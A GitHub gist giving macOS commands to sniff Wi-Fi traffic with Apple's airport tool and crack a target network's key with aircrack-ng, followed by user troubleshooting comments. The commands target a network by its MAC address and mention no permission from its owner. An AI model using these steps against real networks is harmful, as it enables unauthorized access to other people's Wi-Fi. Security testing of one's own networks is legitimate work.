Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save richardsonlima/04cfb20adb23082b54c6652cad8c0372 to your computer and use it in GitHub Desktop.
Save richardsonlima/04cfb20adb23082b54c6652cad8c0372 to your computer and use it in GitHub Desktop.
1 - Install Home Brew.
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
2 - Install aircrack-ng:
brew install aircrack-ng
3 - Install the latest Xcode, with the Command Line Tools.
//Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport//Figure out which channel you need to sniff:
sudo airport -s
sudo airport en1 sniff [CHANNEL]
4 - New Terminal Window
aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.
@stepheljobs
Copy link

is this working? how to get the cap file?

@endianoia
Copy link

@stepheljobs the file is like /tmp/airportSniff*.cap, as we can see the notes says.

@mmaffet
Copy link

mmaffet commented Feb 15, 2018

Hi!
I got this message:
"Opening airportSnifft****.cap
No matching network found - check your bssid.

Quitting aircrack-ng..."
I set the [TARGET_MAC_ADDRESS] with "14:5f:94:::**"
What i doing wrong?

@fadlisaad
Copy link

it would take a very long time to generate enough iv before getting even one key. In my case,
[00:00:06] Tested 818473 keys (got 33593 IVs) this take the whole 12 hours since the target may have little network activity

@AndriRomansky
Copy link

help me....
i got message
macs-MacBook-Pro:~ mac$ /tmp/airportSniffk1CJMa.cap
-bash: /tmp/airportSniffk1CJMa.cap: Permission denied

and (comand : /tmp/airportSniff*.cap)

macs-MacBook-Pro:~ mac$ /tmp/airportSniff*.cap
-bash: /tmp/airportSniffk1CJMa.cap: Permission denied

how fix this

@JamPlayz
Copy link

I did not see any cap file open for me?

Copy link

ghost commented Oct 6, 2019

Plase Help Me;
[1] 97518 segmentation fault sudo airport en0 sniff 8

@x5engine
Copy link

x5engine commented Apr 5, 2020

nice

@landy1018-hash
Copy link

I didn't get what TARGET_MAC_ADDRESS and CAP_FILE mean.

@x5engine
Copy link

// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.
and the mac address

@spydee85001
Copy link

spydee85001 commented Mar 5, 2021

Hi guys,
I'm a computer student.i install aircrack ng on macos 10.11

Noted :
This command word but " ls /tmp/airportSniff*.cap" not capture how to fix it (I'm not install Wireshark)
So I think install Wireshark anybody's tell me bro

@souseishin
Copy link

help
“sudo airport en1 sniff 6“
it shows the help menu for airport
can’t proceed to the next step

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment